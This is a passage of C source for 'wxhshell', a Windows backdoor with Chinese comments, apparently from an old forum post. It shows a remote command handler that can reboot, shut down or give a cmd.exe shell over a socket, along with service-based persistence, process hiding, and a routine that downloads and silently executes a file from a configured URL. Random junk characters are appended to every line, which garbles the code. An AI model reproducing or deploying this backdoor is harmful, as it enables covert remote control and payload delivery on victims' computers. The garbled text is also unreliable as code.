  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~tqNxlA  
  else dkOERVRe  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PjU.4aZ  
  } 9`DY6qfly  
  else { D o!]t7Y$  
pEiq;2{~Yn  
    switch(cmd[0]) { +fq;o8q  
  Y67i\U>?  
  // 帮助 %* @hS`  
  case '?': { &0J/V>k  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6X$iTJ[\x  
    break; fU4{4M+9"  
  } '59l.  
  // 安装 -257g;  
  case 'i': { 3$kElq[  
    if(Install()) bt?)ryu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~;nW+S$o  
    else 7`K)7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9S)A6]  
    break; :']O4v#^  
    } E=~Ahkg  
  // 卸载 "QV1G'  
  case 'r': { SrXuiiK  
    if(Uninstall()) q^b_'We_9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z0 _/JwJn  
    else b]\V~ZaXG  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~Nl`Zmn(A|  
    break; aB4L$M8x  
    } @#| R{5=+  
  // 显示 wxhshell 所在路径 F2["AkNM  
  case 'p': { "4i_}  
    char svExeFile[MAX_PATH]; (OHd} YQ  
    strcpy(svExeFile,"\n\r"); n`7n5M*  
      strcat(svExeFile,ExeFile); ,NQ>,}a0  
        send(wsh,svExeFile,strlen(svExeFile),0); x:IY6  l  
    break; p2o6 6t  
    } IR*:i{  
  // 重启 xqaw00,s  
  case 'b': { hin6cac  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); p:8]jD@}%  
    if(Boot(REBOOT)) O; <YLS^|6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =|bW >y  
    else { gPWl#5P:  
    closesocket(wsh); M.}QXta  
    ExitThread(0); \( xQ'AQ-  
    } v7- d+P=  
    break; @EcY& mP)  
    } BGVy \F<  
  // 关机 &8 4Izs/[  
  case 'd': { [{9&KjI0K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .A Z+|?d  
    if(Boot(SHUTDOWN)) cOEzS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FI(M 1iJ  
    else { 9:6d,^X  
    closesocket(wsh); +l_$}UN  
    ExitThread(0); ,=p.Cx'PR  
    } _fANl}Mf:  
    break; eE;")t,  
    } ' k[gxk|d2  
  // 获取shell G6x2!Ny  
  case 's': { dCM*4B<  
    CmdShell(wsh); F`YxH*tO7  
    closesocket(wsh); Z'z~40Bda  
    ExitThread(0); S~ 3|  
    break; )Z2t=&Nw  
  } JSm3ZP|GqJ  
  // 退出 k~b8=$  
  case 'x': { QYTwGThWR  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); U9p^?\-=  
    CloseIt(wsh); pGGx.&5#82  
    break; hKW!kA =gZ  
    } {:9P4<%H  
  // 离开 pvJPMx  
  case 'q': { S~DY1e54GF  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o] 7U;W  
    closesocket(wsh); R!LKGiN  
    WSACleanup(); ss>?fyA  
    exit(1); uP[:P?,t  
    break; -d6*M*{|  
        } L #l|}u  
  } ? /Z hu  
  } 4\yKd8I  
wY j~(P"  
  // 提示信息 7oI^shk  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); OT5'cl  
} BV HO_  
  }  g8_IZ(%:  
&vp0zYd+v  
  return; 3 eFBe2  
} 9#@CmiIhy  
vXM``|  
// shell模块句柄 3M&75OE  
int CmdShell(SOCKET sock) #i GRi!$h  
{ 2=l !b/m  
STARTUPINFO si; oxPb; %  
ZeroMemory(&si,sizeof(si)); RycO8z*p  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8W_X&X?Q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |!{ BjOAD'  
PROCESS_INFORMATION ProcessInfo; bz? *#S  
char cmdline[]="cmd"; d.&~n`Rv!p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O}3M+  
  return 0; %7?v='s=  
} OAQ'/{~7  
,FPgbs  
// 自身启动模式 vv,(ta@t2  
int StartFromService(void) $'Hg}|53  
{ TGz5t$]I  
typedef struct ?iBHJ{  
{ 2v<[XNX  
  DWORD ExitStatus; b#C"rTw  
  DWORD PebBaseAddress; _9Ig`?<>I  
  DWORD AffinityMask; f(E  'i>  
  DWORD BasePriority; rXz,<^Hmj  
  ULONG UniqueProcessId; Ucnit^,  
  ULONG InheritedFromUniqueProcessId; k|7XC@i]%  
}   PROCESS_BASIC_INFORMATION; 'm=9&?0S  
r8 M/E lbk  
PROCNTQSIP NtQueryInformationProcess; $*H>n!&  
LHWh-h(s  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; A4?_ 0:<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &~Q ?k  
JPk3T.qp  
  HANDLE             hProcess; 6X:- Z 3  
  PROCESS_BASIC_INFORMATION pbi; #| 8!0]n'  
Sk$ XC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); dR_hPBn/@  
  if(NULL == hInst ) return 0; w`VmN}pR  
y o[!q|z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n6nwda  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7j& l2Z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <_H0Q_/(  
^dP@QMly6  
  if (!NtQueryInformationProcess) return 0; z@ A5t4+3  
1W HR;!u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ? F f w'O  
  if(!hProcess) return 0; H2RNekck  
,Fg&<Be}Jx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0r=Lilu{q  
s/Wg^(&M  
  CloseHandle(hProcess); ASaG }h  
!U/: !e`N  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (.!q~G  
if(hProcess==NULL) return 0; N1(}3O  
SJ7>*Sa(u$  
HMODULE hMod; Z-H Kdv!d  
char procName[255]; u6jJf@!ws  
unsigned long cbNeeded; (s{%XB:K  
s:cS 9A8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0tB9X9:,  
Zk}e?Grc  
  CloseHandle(hProcess); ?#D@e5Wf  
2#1FI0,Pa*  
if(strstr(procName,"services")) return 1; // 以服务启动 $X~=M_ W  
=W !m`  
  return 0; // 注册表启动 lLtC9:  
} v-[|7Pg}Z  
\{+7`4g  
// 主模块 m$hSL4 N  
int StartWxhshell(LPSTR lpCmdLine) O,JthlAV4  
{ g)&-S3\  
  SOCKET wsl; uD:O[H-x  
BOOL val=TRUE; r:Cad0xj;^  
  int port=0; !1"~tA!+p=  
  struct sockaddr_in door; `U`Z9q5-  
9LJ/m\bi  
  if(wscfg.ws_autoins) Install(); nhXa&Nro  
+Mm0bqNN  
port=atoi(lpCmdLine); 4b3p,$BWS  
<k^9l6@  
if(port<=0) port=wscfg.ws_port; WM=kr$/3  
x'JfRz  
  WSADATA data; -07(#>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B{1+0k  
6x/ X8zu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6nGDoW#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E4y"$U%.  
  door.sin_family = AF_INET; ! 2Y, a  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); l/rhA6kEU  
  door.sin_port = htons(port); gYzKUX@  
9fl !CG  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N}F G%a  
closesocket(wsl); !FpMO`m  
return 1; 4 <]QMA0  
} e$>5GM  
}>frK#S  
  if(listen(wsl,2) == INVALID_SOCKET) { \wDOE(>  
closesocket(wsl); nI_Zk.R  
return 1; [V jd )%  
} y'yaCf  
  Wxhshell(wsl); n{' [[2U  
  WSACleanup(); ^2^ptQj  
tfv]AC7x  
return 0; B4|% E$1+  
& bw1  
} s:]rL&|  
H#Og0gEE}5  
// 以NT服务方式启动 V">Uh@[J_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `XWxC:j3%  
{ bh7 1Zu  
DWORD   status = 0; DD3J2J  
  DWORD   specificError = 0xfffffff; w@%W{aUC  
;:$Na=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @Qc['V)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; qo. 6T  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p-(Z[G*  
  serviceStatus.dwWin32ExitCode     = 0; /{kyjf[o&*  
  serviceStatus.dwServiceSpecificExitCode = 0; *iC t4J  
  serviceStatus.dwCheckPoint       = 0;  B-&J]H  
  serviceStatus.dwWaitHint       = 0; Cq(Xa-  
Y6D =tb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ryn)  
  if (hServiceStatusHandle==0) return; [Z5x_.k"I  
ZA9']u%EJ  
status = GetLastError(); W>DpDrO4ml  
  if (status!=NO_ERROR) nev*TYY?A  
{ }lxvXVc{I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |[{;*wtv  
    serviceStatus.dwCheckPoint       = 0; 9C4l@ jrF  
    serviceStatus.dwWaitHint       = 0; ^c(PZ,/#JB  
    serviceStatus.dwWin32ExitCode     = status; G0(c@FBK  
    serviceStatus.dwServiceSpecificExitCode = specificError; ka>RAr J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); KT g$^"\  
    return; <hK$Cf_  
  } PO%]Jme  
I8Zp#'|U  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ToMX7xz6  
  serviceStatus.dwCheckPoint       = 0; .i=%gg  
  serviceStatus.dwWaitHint       = 0; D{l.WlA.  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); h |lQ TT  
} &^uzg&,;  
5r+0^UAO:J  
// 处理NT服务事件,比如:启动、停止 %DV@2rC<  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S|>Up%{n[  
{ I Mv^ 9T:  
switch(fdwControl) Qs?+vk?*h  
{ q;>BltU  
case SERVICE_CONTROL_STOP: d#b{4zF"  
  serviceStatus.dwWin32ExitCode = 0;  q?^0 o\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; q!H 3JL  
  serviceStatus.dwCheckPoint   = 0; #/tdZ0  
  serviceStatus.dwWaitHint     = 0; - 5k4vx N}  
  { OUdeQO?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ch.T} %  
  } "=".ne  
  return; _+Q$h4t   
case SERVICE_CONTROL_PAUSE: Asn0&Ys4  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Gqia@>T4*N  
  break; W?l .QQk  
case SERVICE_CONTROL_CONTINUE: 7GIv3Dc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v:HgpZo+  
  break; b?bYPN+  
case SERVICE_CONTROL_INTERROGATE: zgRP!q<9tt  
  break; e N-{  
}; vXnpx}B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {tT`It  
} ~NcJLU!au  
NuooA  
// 标准应用程序主函数 a[$.B2U  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g~y9j88?  
{ apMYBbC  
c0qv11,:t  
// 获取操作系统版本 r2](~&i2  
OsIsNt=GetOsVer(); a:| 4q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); aEk*-v#{  
7 IHD?pnZ  
  // 从命令行安装 6m.Ku13;  
  if(strpbrk(lpCmdLine,"iI")) Install(); Zn/9BO5  
t!T}Pg(Bo  
  // 下载执行文件 F889JSZ%  
if(wscfg.ws_downexe) { I| j tpv}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R^2Uh$kk{A  
  WinExec(wscfg.ws_filenam,SW_HIDE); "{B ek<  
} o5D"<-=>  
H4m6H)KOG  
if(!OsIsNt) { b$ x"&&   
// 如果时win9x,隐藏进程并且设置为注册表启动 ~`})x(!  
HideProc(); X<m%EXvV  
StartWxhshell(lpCmdLine); xk*3,J6BK  
} <?zTnue  
else h/fCCfO,  
  if(StartFromService()) kr*c?^b  
  // 以服务方式启动 QB.'8B_  
  StartServiceCtrlDispatcher(DispatchTable); lQsQRp  
else B![5+  
  // 普通方式启动 'iVo,m[yKU  
  StartWxhshell(lpCmdLine); BH-[q9pf  
0o<q Eo^  
return 0; 5i/E=D  
}
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只看该作者 1 发表于: 2006-10-10
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